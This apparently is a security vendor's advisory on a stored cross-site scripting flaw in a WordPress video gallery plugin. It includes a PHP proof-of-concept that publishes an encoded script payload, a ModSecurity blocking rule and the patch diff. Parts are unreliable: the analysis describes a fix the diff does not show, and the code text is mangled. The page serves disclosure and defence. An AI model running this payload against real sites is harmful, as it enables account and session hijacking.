Published : November 26, 2026

CVE-2026-136215: All-in-One Video Gallery <= 5.2.0 Authenticated (Subscriber+) Stored Cross-Site Scripting via 'content' Shortcode Attribute PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 5.2.0
Patched Version 5.2.1
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-136215: This is an authenticated (Subscriber+) stored cross-site scripting (XSS) vulnerability in the All-in-One Video Gallery WordPress plugin versions <= 5.2.0. The flaw resides in the handling of the 'content' shortcode attribute, where insufficient input sanitization and output escaping allow an attacker with subscriber-level access to inject arbitrary web scripts. These scripts execute when a user visits an injected page. The CVSS score is 6.4 (Medium).nnThe root cause is the plugin's failure to properly sanitize and escape the 'content' parameter from the shortcode. In the vulnerable version, the plugin processes the 'content' attribute without adequate filtering. When a user lacking the 'unfiltered_html' capability saves a post, WordPress applies wp_kses_post, which normally strips dangerous HTML. However, the attacker encodes the payload using C-style escape sequences (e.g., \x3c for '’), so wp_kses_post sees only benign text. At render time, WordPress core’s shortcode_parse_atts() decodes these escapes into actual HTML characters, and the plugin outputs the decoded content without further escaping, resulting in XSS. The patch in version 5.2.1 modifies the plugin to restrict the use of embed codes to users with the ‘unfiltered_html’ capability and adds output escaping elsewhere. Specifically, in admin/videos.php, the code now checks current_user_can(‘unfiltered_html’) before allowing the ’embedcode’ type, and similar checks are added for trailer types. Additionally, in public/templates/player-vidstack.php, text track labels and languages are escaped to prevent HTML injection. The fix also includes a version bump and a rework of the default settings caching to prevent recursion.nnAn attacker with subscriber-level access can exploit this by creating or editing a post (e.g., via the WordPress editor or XML-RPC) and including a shortcode with a crafted ‘content’ attribute. For example: [aiovg_video content=\x3cscript\x3ealert(1)\x3c/script\x3e]. The encoded payload bypasses wp_kses_post. When the post is viewed, the shortcode is processed, the escapes are decoded, and the malicious script executes in the context of the visiting user’s browser. The attacker could also target the ’embedcode’ parameter directly if the plugin allows subscribers to submit embed codes, but the patch suggests that embed codes were previously accessible to subscribers, and now only users with ‘unfiltered_html’ can use them. The official description mentions the ‘content’ shortcode attribute, so the primary vector is through shortcode content.nnThe patch addresses the vulnerability by enforcing capability checks and adding output escaping. In admin/videos.php, the code now verifies that the current user has the ‘unfiltered_html’ capability before allowing the ’embedcode’ type to be set; otherwise, it defaults to ‘default’. This prevents lower-privileged users from injecting malicious embed codes. Similarly, for trailer types, if the user lacks the capability, the trailer type is cleared. The patch also escapes text track labels and languages in the Vidstack player template to prevent HTML injection via playlist metadata. These changes ensure that only trusted users can store unfiltered HTML, and any potentially dangerous output is properly escaped. The version is bumped to 5.2.1.nnIf exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of any user viewing the injected page, including administrators. This can lead to session hijacking, theft of sensitive data (such as cookies or nonces), privilege escalation (by creating rogue admin accounts), defacement, or redirection to malicious sites. The stored nature means the payload persists and affects all visitors, making it a significant threat despite requiring subscriber-level authentication.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-136215 – All-in-One Video Gallery $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’n]));ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);n$response = curl_exec($ch);ncurl_close($ch);nn// Step 2: Create a new post with the malicious shortcode contentn// The shortcode attribute ‘content’ contains a C-style encoded XSS payload: \x3cscript\x3ealert(1)\x3c/script\x3en$post_content = ‘[aiovg_video content=”\\x3cscript\\x3ealert(1)\\x3c/script\\x3e”]’;nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/wp-admin/post-new.php’);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([n ‘post_title’ => ‘XSS PoC’,n ‘content’ => $post_content,n ‘post_status’ => ‘publish’,n ‘action’ => ‘editpost’,n ‘_wpnonce’ => ‘…’, // Need to extract nonce from the new post pagen ‘post_type’ => ‘post’n]));ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);nn// First, fetch the new post page to get the noncencurl_setopt($ch, CURLOPT_URL, $target_url . ‘/wp-admin/post-new.php’);ncurl_setopt($ch, CURLOPT_POST, false);n$new_post_page = curl_exec($ch);npreg_match(‘/name=”_wpnonce” value=”([^”]+)”/’, $new_post_page, $matches);n$nonce = $matches[1] ?? ”;nn// Now submit the formn$postfields = http_build_query([n ‘post_title’ => ‘XSS PoC’,n ‘content’ => $post_content,n ‘post_status’ => ‘publish’,n ‘action’ => ‘editpost’,n ‘_wpnonce’ => $nonce,n ‘post_type’ => ‘post’,n ‘post_ID’ => ‘0’ // For new postn]);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);n$response = curl_exec($ch);nn// Extract the new post ID from the response or location headernpreg_match(‘/post=(d+)/’, $response, $matches);n$post_id = $matches[1] ?? ‘1’;ncurl_close($ch);nn// Step 3: Trigger the XSS by viewing the postn// The payload will execute when an administrator views the postn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/?p=’ . $post_id);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);n$output = curl_exec($ch);ncurl_close($ch);nn// Check if the payload is present (it will be decoded to alert(1))nif (strpos($output, ‘alert(1)’) !== false) {n echo “XSS payload successfully injected and executed on page load.\n”;n} else {n echo “Payload not found. Check manually.\n”;n}n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-136215n# This rule blocks attempts to exploit the stored XSS via the ‘content’ shortcode attribute.n# It targets the shortcode parsing in post content, specifically looking for encoded payloads.n# The rule matches POST requests to admin post editing endpoints where the ‘content’ parametern# contains a shortcode with encoded angle brackets that could decode to script tags.nSecRule REQUEST_URI “@rx ^/wp-admin/(post\.php|admin-ajax\.php)$” \n “id:20261362,phase:2,deny,status:403,chain,msg:’CVE-2026-136215: Stored XSS via content shortcode attribute’,severity:’CRITICAL’,tag:’CVE-2026-136215′”n SecRule ARGS_POST:content “@rx \[aiovg_video[^\]]*content=(?:\x22|\x27)[^\x22\x27]*?(?:\\x3c|\\x3e)” \n “t:urlDecodeUni,t:lowercase””
}

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/all-in-one-video-gallery/admin/videos.php
+++ b/all-in-one-video-gallery/admin/videos.php
@@ -403,6 +403,13 @@
 				$private_base_url = aiovg_get_private_base_url();

 				$type = isset( $_POST['type'] ) ? sanitize_text_field( wp_unslash( $_POST['type'] ) ) : 'default';
+
+				// Same rule as the form, which offers this type only to these users
+				$can_use_embedcode = current_user_can( 'unfiltered_html' );
+				if ( 'embedcode' === $type && ! $can_use_embedcode ) {
+					$type = 'default';
+				}
+
 				update_post_meta( $post_id, 'type', $type );

 				delete_post_meta( $post_id, 'is_video_uploaded' );
@@ -488,22 +495,27 @@
 				$facebook = isset( $_POST['facebook'] ) ? aiovg_sanitize_url( wp_unslash( $_POST['facebook'] ) ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized by aiovg_sanitize_url().
 				update_post_meta( $post_id, 'facebook', $facebook );

-				$embedcode = isset( $_POST['embedcode'] ) ? trim( wp_unslash( $_POST['embedcode'] ) ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized by aiovg_sanitize_embedcode() below.
-
-				if ( $embedcode && filter_var( $embedcode, FILTER_VALIDATE_URL ) ) {
-					$parsed = wp_parse_url( $embedcode );
+				$embedcode = '';

-					// Allow only http / https URLs
-					if ( isset( $parsed['scheme'] ) && in_array( $parsed['scheme'], array( 'http', 'https' ) ) ) {
-						$embedcode = sprintf(
-							'<iframe src="%s" width="560" height="315" frameborder="0" scrolling="no" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>',
-							esc_url( $embedcode )
-						);
+				// Others leave the stored code untouched
+				if ( $can_use_embedcode ) {
+					$embedcode = isset( $_POST['embedcode'] ) ? trim( wp_unslash( $_POST['embedcode'] ) ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized by aiovg_sanitize_embedcode() below.
+
+					if ( $embedcode && filter_var( $embedcode, FILTER_VALIDATE_URL ) ) {
+						$parsed = wp_parse_url( $embedcode );
+
+						// Allow only http / https URLs
+						if ( isset( $parsed['scheme'] ) && in_array( $parsed['scheme'], array( 'http', 'https' ) ) ) {
+							$embedcode = sprintf(
+								'<iframe src="%s" width="560" height="315" frameborder="0" scrolling="no" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>',
+								esc_url( $embedcode )
+							);
+						}
 					}
-				}

-				$embedcode = aiovg_sanitize_embedcode( $embedcode );
-				update_post_meta( $post_id, 'embedcode', $embedcode );
+					$embedcode = aiovg_sanitize_embedcode( $embedcode );
+					update_post_meta( $post_id, 'embedcode', $embedcode );
+				}

 				$duration = '';

@@ -685,6 +697,12 @@
 					if ( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['aiovg_video_trailer_nonce'] ) ), 'aiovg_save_video_trailer' ) ) {
 						// OK to save meta data
 						$trailer_type = isset( $_POST['trailer_type'] ) ? sanitize_text_field( wp_unslash( $_POST['trailer_type'] ) ) : '';
+
+						// Same rule as the form, which offers this type only to these users
+						if ( 'embedcode' === $trailer_type && ! current_user_can( 'unfiltered_html' ) ) {
+							$trailer_type = '';
+						}
+
 						update_post_meta( $post_id, 'trailer_type', $trailer_type );

 						if ( 'embedcode' === $trailer_type ) {
--- a/all-in-one-video-gallery/all-in-one-video-gallery.php
+++ b/all-in-one-video-gallery/all-in-one-video-gallery.php
@@ -3,23 +3,23 @@
 /**
  * The plugin bootstrap file.
  *
- * @link            https://plugins360.com
- * @since           1.0.0
- * @package         All_In_One_Video_Gallery
+ * @link              https://plugins360.com
+ * @since             1.0.0
+ * @package           All_In_One_Video_Gallery
  *
  * @wordpress-plugin
- * Plugin Name:     All-in-One Video Gallery
- * Plugin URI:      https://plugins360.com/all-in-one-video-gallery/
- * Description:     An ultimate video player and video gallery plugin – no coding required. Suitable for YouTubers, Video Bloggers, Course Creators, Podcasters, Sales & Marketing Professionals, and anyone using video on a website.
- * Version:         5.2.0
+ * Plugin Name:       All-in-One Video Gallery
+ * Plugin URI:        https://plugins360.com/all-in-one-video-gallery/
+ * Description:       An ultimate video player and video gallery plugin – no coding required. Suitable for YouTubers, Video Bloggers, Course Creators, Podcasters, Sales & Marketing Professionals, and anyone using video on a website.
+ * Version:           5.2.1
  * Requires at least: 6.3
- * Requires PHP:    7.4
- * Author:          Team Plugins360
- * Author URI:      https://plugins360.com
- * License:         GPL-2.0+
- * License URI:     http://www.gnu.org/licenses/gpl-2.0.txt
- * Text Domain:     all-in-one-video-gallery
- * Domain Path:     /languages
+ * Requires PHP:      7.4
+ * Author:            Team Plugins360
+ * Author URI:        https://plugins360.com
+ * License:           GPL-2.0+
+ * License URI:       http://www.gnu.org/licenses/gpl-2.0.txt
+ * Text Domain:       all-in-one-video-gallery
+ * Domain Path:       /languages
  *
  */
 // Exit if accessed directly
@@ -72,7 +72,7 @@
 }
 // The current version of the plugin
 if ( !defined( 'AIOVG_PLUGIN_VERSION' ) ) {
-    define( 'AIOVG_PLUGIN_VERSION', '5.2.0' );
+    define( 'AIOVG_PLUGIN_VERSION', '5.2.1' );
 }
 // The unique identifier of the plugin
 if ( !defined( 'AIOVG_PLUGIN_SLUG' ) ) {
--- a/all-in-one-video-gallery/includes/helpers/functions.php
+++ b/all-in-one-video-gallery/includes/helpers/functions.php
@@ -867,10 +867,11 @@
  * @return array $defaults Array of plugin settings.
  */
 function aiovg_get_default_settings() {
-	static $defaults = null;
+	static $cached      = null;
+	static $is_building = false;

-	if ( null !== $defaults ) {
-		return $defaults;
+	if ( null !== $cached ) {
+		return $cached;
 	}

 	$video_page_slug = 'aiovg_videos';
@@ -883,9 +884,21 @@
 			$video_page_slug = $slug;
 			break;
 		}
-	}
+	}
+
+	// Creating the pages runs queries whose hooks may read our settings and call back in here.
+	// Those nested calls get no pages rather than creating them again, and are not cached (5.2.1)
+	$is_nested = $is_building;
+
+	if ( $is_nested ) {
+		$page_settings = array();
+	} else {
+		$is_building   = true;
+		$page_settings = aiovg_insert_custom_pages();
+		$is_building   = false;
+	}

-	$defaults = array(
+	$defaults = array(
 		'aiovg_player_settings' => array(
 			'player'                  => 'videojs',
 			'theme'                   => 'default',
@@ -1079,10 +1092,14 @@
 			'token_authentication_key'    => '',
 			'token_expiry'                => 3600
 		),
-		'aiovg_page_settings' => aiovg_insert_custom_pages()
+		'aiovg_page_settings' => $page_settings
 	);
-
-	return $defaults;
+
+	if ( ! $is_nested ) {
+		$cached = $defaults;
+	}
+
+	return $defaults;
 }

 /**
--- a/all-in-one-video-gallery/public/templates/player-vidstack.php
+++ b/all-in-one-video-gallery/public/templates/player-vidstack.php
@@ -1945,6 +1945,14 @@
 				plyr.classList.remove( 'aiovg-is-ended' );
 			});

+			// Stream track names come from the playlist and Plyr prints them as HTML
+			if ( settings.hasOwnProperty( 'hls' ) || settings.hasOwnProperty( 'dash' ) ) {
+				const addTextTrack = video.addTextTrack.bind( video );
+				const escape = ( value ) => 'string' === typeof value ? value.replace( /</g, '<' ).replace( />/g, '>' ) : value;
+
+				video.addTextTrack = ( kind, label, language ) => addTextTrack( kind, escape( label ), escape( language ) );
+			}
+
 			// HLS
 			if ( settings.hasOwnProperty( 'hls' ) ) {
 				const hls = new Hls();
--- a/all-in-one-video-gallery/public/video.php
+++ b/all-in-one-video-gallery/public/video.php
@@ -148,7 +148,6 @@
 				if ( isset( $attributes[ $format ] ) ) {
 					$attributes[ $format ] = aiovg_sanitize_url( $attributes[ $format ] );
 					$is_video_available = 1;
-					break;
 				}
 			}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.